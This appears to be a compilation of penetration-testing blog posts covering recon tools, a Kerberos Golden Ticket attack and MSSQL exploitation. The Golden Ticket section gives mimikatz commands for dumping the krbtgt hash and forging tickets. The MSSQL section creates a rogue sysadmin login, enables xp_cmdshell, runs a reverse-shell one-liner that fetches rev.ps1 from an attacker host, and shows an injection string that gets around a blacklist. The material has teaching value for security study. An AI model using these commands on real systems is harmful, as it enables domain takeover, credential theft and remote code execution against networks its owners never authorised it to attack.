[Active – Information Gathering] Subdomain take over

Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. With Go’s speed and efficiency, this tool really stands out when it comes to mass-testing. Always double check the results manually to rule out false positives.

Subjack will also check for subdomains attached to domains that don’t exist (NXDOMAIN) and are available to be registered. No need for dig ever again! This is still cross-compatible too.

Subdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.

https://github.com/haccer/subjack

There are several tools with dictionaries to check for possible takeovers:

Subdomain Takeover Generation via DNS Wildcard

When DNS wildcard is used in a domain, any requested subdomain of that domain that doesn’t have a different address explicitly will be resolved to the same information. This could be an A ip address, a CNAME…

  • For example, if *.testing.com is wilcarded to 1.1.1.1. Then, not-existent.testing.com will be pointing to 1.1.1.1.

However, if instead of pointing to an IP address, the sysadmin point it to a third party service via CNAME, like a github subdomain for example (sohomdatta1.github.io). An attacker could create his own third party page (in Gihub in this case) and say that something.testing.com is pointing there. Because, the CNAME wildcard will agree the attacker will be able to generate arbitrary subdomains for the domain of the victim pointing to his pages.

Exploiting a subdomain takeover

Subdomain takeover is essentially DNS spoofing for a specific domain across the internet, allowing attackers to set A records for a domain, leading browsers to display content from the attacker’s server. This transparency in browsers makes domains prone to phishing. Attackers may employ typosquatting or Doppelganger domains for this purpose. Especially vulnerable are domains where the URL in a phishing email appears legitimate, deceiving users and evading spam filters due to the domain’s inherent trust.

SSL Certificates

SSL certificates, if generated by attackers via services like Let’s Encrypt, add to the legitimacy of these fake domains, making phishing attacks more convincing.

Cookie Security and Browser Transparency

Browser transparency also extends to cookie security, governed by policies like the Same-origin policy. Cookies, often used to manage sessions and store login tokens, can be exploited through subdomain takeover. Attackers can gather session cookies simply by directing users to a compromised subdomain, endangering user data and privacy.

Emails and Subdomain Takeover

Another aspect of subdomain takeover involves email services. Attackers can manipulate MX records to receive or send emails from a legitimate subdomain, enhancing the efficacy of phishing attacks.

Higher Order Risks

Further risks include NS record takeover. If an attacker gains control over one NS record of a domain, they can potentially direct a portion of traffic to a server under their control. This risk is amplified if the attacker sets a high TTL (Time to Live) for DNS records, prolonging the duration of the attack.

Installation

1. Install subjack

  • go install github.com/haccer/subjack@latest

2. Display help menu

  • subjack -h

How to use

1. Find the fingerprints.json file

  • find -type f -name “fingerprints.json”

2. Run this tool against a subdomain list

  • subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3

3. Save the output to a file

  • subjack -w ./Desktop/URL-list.txt -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3 -o results.txt

4. Search by single domain,or sub-domain

  • subjack -d dev.tesla.com -t 100 -timeout 30 -o results.txt -ssl -c ./go/pkg/mod/github.com/haccer/subjack@v0.0.0-20201112041112-49c51e57deab/fingerprints.json -v 3

Options

  • -d test.com if you want to test a single domain.
  • -w domains.txt is your list of subdomains.
  • -t is the number of threads (Default: 10 threads).
  • -timeout is the seconds to wait before timeout connection (Default: 10 seconds).
  • -o results.txt where to save results to. For JSON: -o results.json
  • -ssl enforces HTTPS requests which may return a different set of results and increase accuracy.
  • -a skips CNAME check and sends requests to every URL. (Recommended)
  • -m flag the presence of a dead record, but valid CNAME entry.
  • -v verbose. Display more information per each request.
  • -c Path to configuration file.

Mitigation

  • Removing vulnerable DNS records – This is effective if the subdomain is no longer required.
  • Claiming the domain name – Registering the resource with the respective cloud provider or repurchasing an expired domain.
  • Regular monitoring for vulnerabilities – Tools like aquatone can help identify susceptible domains. Organizations should also revise their infrastructure management processes, ensuring that DNS record creation is the final step in resource creation and the first step in resource destruction.

Sources

https://www.hackerone.com/application-security/guide-subdomain-takeovers

https://book.hacktricks.xyz/pentesting-web/domain-subdomain-takeover

https://github.com/EdOverflow/can-i-take-over-xyz

https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers

[Active – Information Gathering] Check alive URLs from a list using httprobe

Take a list of domains and probe for working http and https servers.

https://github.com/tomnomnom/httprobe

Installation

1. Download the tool

  • go install github.com/tomnomnom/httprobe@latest

2. Get help menu

  • httprobe -h

How to use

1. Run the tool against a file (HTTP & HTTPS)

  • cat URL-list.txt | httprobe

2. Check against HTTPS only

  • cat URL-list.txt | httprobe -s -p https:443

3. In order to filter by the domain & subdomain only

  • cat URL-list.txt | httprobe | sed ‘s/https\?:\/\///’ | tr -d “:443”

[Active – Information Gathering] Automated screenshot of websites with goWitness

gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.

https://github.com/sensepost/gowitness.git

Inspiration for gowitness comes from Eyewitness. If you are looking for something with lots of extra features, be sure to check it out along with these other projects

https://github.com/RedSiege/EyeWitness

https://github.com/breenmachine/httpscreenshot

goWitness requires Chrome or Chromium installed

Installation

1. For installation information and other documentation, please refer to the wiki

https://github.com/sensepost/gowitness/wiki

https://github.com/sensepost/gowitness/wiki/Installation

2. To install run

  • go install gorm.io/gorm@latest
  • go install github.com/sensepost/gowitness@latest
  • sudo apt install chromium

3. Display the menu

  • gowitness -h

4. Take a sincreenshow to a single URL, the ourput is saved in ./screenshots/filename.png

  • gowitness single https://vk9-sec.com/

5. Run against a file containing a list

  • gowitness file -f URL-list.txt

[Information Gathering] Gathering old information from WayBackMachine using waybackurls

Waybackurls is a command-line tool used for scraping URLs from the Wayback Machine.

Waybackurls is important for cybersecurity professionals because it allows them to uncover historical data about a website, identify potential vulnerabilities, and assess the security posture of a target.

https://github.com/tomnomnom/waybackurls

Basic Usage

  • waybackurls <target>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target.
  • waybackurls <target> -json: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target in JSON format.
  • waybackurls <target> | grep <keyword>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target that contain the specified keyword.
  • waybackurls <target> | sort -u: This command retrieves all the unique URLs of the Wayback Machine archive for the specified domain or target.
  • waybackurls <target> | httprobe: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target and tests them for HTTP/HTTPS connectivity.

Advanced Usage

  • waybackurls <target> | grep -Eo “(http|https)://[a-zA-Z0-9./?=_%:-]*”|sort -u: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, and uses regex to extract only the URLs that begin with “http” or “https”.
  • waybackurls <target> -exclude <exclude-file>: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, but excludes the URLs listed in the specified file.
  • waybackurls <target> -filter “status_code:200″|sort -u: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target that return a 200 status code.
  • waybackurls <target> | unfurl paths | sort | uniq -c | sort -rn: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, extracts only the paths, and sorts them by the number of occurrences to identify the most commonly accessed paths.
  • waybackurls <target> | xargs -I{} curl -s -L -I -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0” {} | grep -iE “x-frame-options|content-security-policy”: This command retrieves all the URLs of the Wayback Machine archive for the specified domain or target, and tests them for X-Frame-Options and Content-Security-Policy headers.

Integrations

  • Using waybackurls with Nmap: By combining the results of Nmap with waybackurls, a cybersecurity professional can gather information about any web-based services that may be exposed on the target network.
  • Using waybackurls with Gobuster: Gobuster is a tool used for directory and file brute-forcing on web servers. By using the URLs gathered by waybackurls, a cybersecurity professional can perform more targeted directory and file brute-forcing.
  • Using waybackurls with Sublist3r: By combining the results of Sublist3r with waybackurls, a cybersecurity professional can gather information about the web-based services running on subdomains of the target domain.
  • Using waybackurls with Burp Suite: By feeding the URLs gathered by waybackurls into Burp Suite’s spidering feature, a cybersecurity professional can identify additional web application endpoints that may be vulnerable to attack.

Installation

1. Having GoLang already installed in your system run

  • go install github.com/tomnomnom/waybackurls@latest

2. Display the help menu

  • waybackurls -h

How to use

1. Query a domain

  • echo “https://vk9-sec.com” | waybackurls

2. Run it against a file that contains a list of URLs

  • cat file.txt | waybackurls

[Active Directory] Kerberos Golden ticket

With Kerberos, users never directly authenticate themselves to the various services they need to use, such as file servers. Instead, the Kerberos Key Distribution Center (KDC) functions as a trusted third-party authentication service. Every domain controller in an Active Directory domain runs a KDC service.

The KDC issues a ticket granting ticket (TGT), which includes a unique session key and a timestamp that specifies how long that session is valid (normally 8 or 10 hours). When the user needs access to resources, they don’t have to re-authenticate; their client machine simply sends the TGT along to prove that the user has already been recently authenticated.

Kerberos Golden Ticket hacking is a sophisticated attack that exploits weaknesses in the Kerberos authentication protocol, which is widely used for securing authentication in various network environments. In this attack, adversaries create a forged Kerberos Ticket Granting Ticket (TGT), referred to as a “Golden Ticket,” allowing them to gain unauthorized access to a network and impersonate any user without the need for valid credentials.

Requirements

Privileged Access:

  • The attacker needs elevated privileges to access the KDC database or extract password hashes, often obtained through a successful compromise of an administrative account.

In a Golden Ticket attack, hackers bypass the KDC and create TGTs themselves to get access to various resources. To forge a TGT, hackers need four key pieces of information:

  • The FQDN (Fully Qualified Domain Name) of the domain
  • The SID (Security Identifier) of the domain
  • The username of the account they want to impersonate
  • The KRBTGT password hash

Exploitation (Mimikatz)

1. After compromising the domain controller, use mimikatz to dump the krbtgt hash

  • lsadump::lsa /inject /name:krbtgt
  • privilege::debug

2. Grab the following (NTLM, SID domain)

  • NTLM : 43ee24a65422dd3e241dda802463c4de
  • Domain : LAB / S-1-5-21-2564449761-2250179813-2142005236
  • aes256_hmac (4096) : 20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea

3.. Generate the Kerberos ticket, assigned to a real user, use the admin account RID (default 500), and set ptt

  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500 /ptt
  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500,513,2668 /ptt /aes256:20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea
  • kerberos::golden /domain:lab.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:43ee24a65422dd3e241dda802463c4de /user:newAdmin /id:500 /ptt

  • /domain — The FQDN of the domain
  • /sid — The SID of the domain
  • /aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
  • /user — The username to be impersonated
  • /groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
  • /ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file

4. Once, the ticket has been generated you can run commands to remote machines, with this command you will open a new CMD

  • misc::cmd

5. List the available tickets

  • klist

5. Test connecting to another machine

  • dir \\client-2\c$

Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.

Recommendations

Regularly Rotate Kerberos Service Account Passwords

Minimize the number of accounts that can access the KRBTGT password hash.

Minimize opportunities for hackers to steal privileged credentials.

Monitor and Audit KDC Logs

Regular Security Audits

Detection Methods for the Golden Ticket Attack

Event ID 4769 – A Kerberos Service Ticket was requested.

  • Key Description Fields: Account Name, Service Name, Client Address

Event ID 4624 – An account was successfully logged on.

  • Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4627 – Identifies the account that requested the logon.

  • Key Description Fields: Security ID, Account Name, Account Domain, Logon ID

References

https://blog.quest.com/golden-ticket-attacks-how-they-work-and-how-to-defend-against-them/

https://www.netwrix.com/how_golden_ticket_attack_works.html

https://www.crowdstrike.com/cybersecurity-101/golden-ticket-attack/

https://www.onasystems.net/golden-ticket-hackeo-a-directorio-activo-en-empresas/

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets

https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001

https://www.tarlogic.com/blog/kerberos-tickets-comprehension-exploitation/

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/golden-ticket

1433/tcp MS-SQL – Enumeration MSSQL

Microsoft SQL Server (MSSQL) is a relational database management system (RDBMS) developed by Microsoft. It is a robust and scalable database platform used by organizations for storing, managing, and retrieving data. SQL Server supports a wide range of transaction processing, business intelligence, and analytics applications. It offers various features including support for SQL queries, stored procedures, triggers, views, indexing, and data replication.

By default, SQL Server listens on port 1433 for TCP/IP connections. However, this port can be changed during installation or configuration.

Named Pipes: Named Pipes is another network protocol supported by SQL Server. It provides communication between processes on the same computer or between processes on different computers within the same network domain.

Shared Memory: Shared Memory is a protocol that allows communication between SQL Server and client applications running on the same computer. It provides high-performance communication by utilizing shared memory segments.

Connection Strings: Client applications use connection strings to specify the server name, database name, authentication method, and other connection parameters. Connection strings are essential for establishing connections to SQL Server databases.

Authentication: SQL Server supports various authentication modes, including Windows Authentication and SQL Server Authentication. Windows Authentication relies on Windows user accounts, while SQL Server Authentication uses SQL Server-specific usernames and passwords.

Default MS-SQL System Tables

  • master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
  • msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
  • model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
  • Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
  • tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.

Enumeration

Nmap

1. Scan the port 1433

nmap -sV -sC -A -p 1433 192.168.0.100

ms-sql-ntlm-info: information related to NTLM (Windows NT LAN Manager) authentication. It includes details such as the target name, NetBIOS domain name, NetBIOS computer name, DNS domain name, DNS computer name, and product version.

ms-sql-info: information about the SQL Server instance, including the version, product name, service pack level (RC0), and whether post-service pack patches have been applied.

ssl-date: information about the SSL certificate associated with the SQL Server instance. It shows the date and time when the certificate was issued and its validity period.

ssl-cert: details about the SSL certificate, including the subject (common name) and validity period (not valid before and not valid after dates).

2. Execute a vulnerability scan

  • nmap –script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes –script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 192.168.0.100

Metasploit

scanner/mssql/mssql_ping)

1. You can try to enumerate hosts running MSSQL in the network

  • use auxiliary/scanner/mssql/mssql_ping
  • set RHOSTS [192.168.0.0/24]
  • set THREADS [number of threads]
  • run

admin/mssql/mssql_enum (Authenticated)

1. Enumerate database information, table names, storage paths, policies, login information

  • use admin/mssql/mssql_enum
  • set RHOSTS 192.168.0.100
  • set RHOSTS 192.168.0.100
  • set USERNAME vry4n
  • (OPTIONAL) set USE_WINDOWS_AUTHENT true
  • (OPTIONAL) set DOMAIN <lab>

2. Run the script

admin/mssql/mssql_enum (authenticated)

1. Enumerate domain users

  • use admin/mssql/mssql_enum_domain_accounts
  • set RHOSTS 192.168.0.100
  • set RHOSTS 192.168.0.100
  • Set USERNAME vry4n
  • (OPTIONAL) set USE_WINDOWS_AUTHENT true
  • (OPTIONAL) set DOMAIN <lab>
  • run

admin/mssql/mssql_enum_sql_logins

1. Enumerate logins

  • use admin/mssql/mssql_enum_sql_logins
  • set RHOSTS 192.168.0.100
  • set RHOSTS 192.168.0.100
  • Set USERNAME vry4n
  • (OPTIONAL) set USE_WINDOWS_AUTHENT true
  • (OPTIONAL) set DOMAIN <lab>
  • run

auxiliary/admin/mssql/mssql_findandsampledata

1. Get database sample data

  • use auxiliary/admin/mssql/mssql_findandsampledata

auxiliary/scanner/mssql/mssql_hashdump

1. Attempt to extract hashdump

  • use auxiliary/scanner/mssql/mssql_hashdump

auxiliary/scanner/mssql/mssql_schemadump

1. extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such as master, model, msdb, and tempdb.

  • use auxiliary/scanner/mssql/mssql_schemadump

auxiliary/admin/mssql/mssql_idf

1. This module will search the specified MSSQL server for ‘interesting’ columns and data.

  • use auxiliary/admin/mssql/mssql_idf

windows/mssql/mssql_linkcrawler

1. crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login.

  • use exploit/windows/mssql/mssql_linkcrawler

admin/mssql/mssql_escalate_execute_as

1. Escalate privileges if the IMPERSONATION privilege has been assigned to the user.

  • use admin/mssql/mssql_escalate_execute_as

admin/mssql/mssql_escalate_dbowner

1. escalate privileges if the IMPERSONATION privilege has been assigned to the user.

  • use admin/mssql/mssql_escalate_dbowner

admin/mssql/mssql_exec

1. Execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is required to use this module.

  • use admin/mssql/mssql_exec
  • set CMD <command>

windows/manage/mssql_local_auth_bypass

1. executes an arbitrary payload on a Microsoft SQL Server by using the “xp_cmdshell” stored procedure.

  • use windows/manage/mssql_local_auth_bypass

Impacket-mssql

1. Login to the MSSQL instance

  • impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100
  • impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth
  • impacket-mssqlclient lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth

Sqsh

1. Login to the MSSQL instance

  • sqsh -S <IP> -U <Username> -P <Password> -D <Database>
  • sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>

CrackMapExec

1. Execute commands

  • crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “<command>” 192.168.0.100
  • crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “whoami” 192.168.0.100

2. Pass the hash

  • crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X ‘$PSVersionTable’

MSSQL commands to enumerate the database

# Get version

  • select @@version;

# Get user

  • select user_name();

# Get databases

  • SELECT name FROM master.dbo.sysdatabases;

# Use database

  • USE master

#Get table names

  • SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;

#List Linked Servers

  • EXEC sp_linkedservers
  • SELECT * FROM sys.servers;

#List users

  • select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then ‘Disabled’ else ‘Enabled’ end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in (‘G’, ‘R’) order by sp.name;

#Create user with sysadmin privs

  • CREATE LOGIN hacker WITH PASSWORD = ‘P@ssword123!’
  • EXEC sp_addsrvrolemember ‘hacker’, ‘sysadmin’

# Get all the users and roles

  • select * from sys.database_principals;

## This query filters a bit the results

  • SELECT name, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type, sid FROM sys.database_principals WHERE type NOT IN (‘A’, ‘R’) ORDER BY name;

## Both of these select all the users of the current database (not the server). Interesting when you cannot access the table sys.database_principals

  • EXEC sp_helpuser
  • SELECT * FROM sysusers

Permissions

1, Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:

  • Server – Examples include databases, logins, endpoints, availability groups, and server roles.
  • Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
  • Schema – Includes tables, views, procedures, functions, synonyms, etc.

2. Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:

  • Server Level using logins
  • Database Level using users

3. Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.

# Show all different securables names

  • SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);

# Show all possible permissions in MSSQL

  • SELECT * FROM sys.fn_builtin_permissions(DEFAULT);

# Get all my permissions over securable type SERVER

  • SELECT * FROM fn_my_permissions(NULL, ‘SERVER’);

# Get all my permissions over a database

  • USE <database>
  • SELECT * FROM fn_my_permissions(NULL, ‘DATABASE’);

# Get members of the role “sysadmin”

  • Use master
  • EXEC sp_helpsrvrolemember ‘sysadmin’;

# Get if the current user is sysadmin

  • SELECT IS_SRVROLEMEMBER(‘sysadmin’);

# Get users that can run xp_cmdshell

  • Use master
  • EXEC sp_helprotect ‘xp_cmdshell’

# Check if xp_cmdshell is enabled

SELECT * FROM sys.configurations WHERE name = ‘xp_cmdshell’;

Note that in order to be able to execute commands it’s not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

  • Use master
  • EXEC sp_helprotect ‘xp_cmdshell’

# This turns on advanced options and is needed to configure xp_cmdshell

  • sp_configure ‘show advanced options’, ‘1’
  • RECONFIGURE

#This enables xp_cmdshell

  • sp_configure ‘xp_cmdshell’, ‘1’
  • RECONFIGURE

#One liner

  • sp_configure ‘Show Advanced Options’, 1; RECONFIGURE; sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell

  • EXEC master..xp_cmdshell ‘whoami’

# Get Rev shell

  • EXEC xp_cmdshell ‘echo IEX(New-Object Net.WebClient).DownloadString(“http://10.10.14.13:8000/rev.ps1”) | powershell -noprofile’

# Bypass blackisted “EXEC xp_cmdshell”

  • ‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping 192.168.0.11’ —

# You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;

  • EXEC sp_helprotect ‘xp_dirtree’;
  • EXEC sp_helprotect ‘xp_subdirs’;
  • EXEC sp_helprotect ‘xp_fileexist’;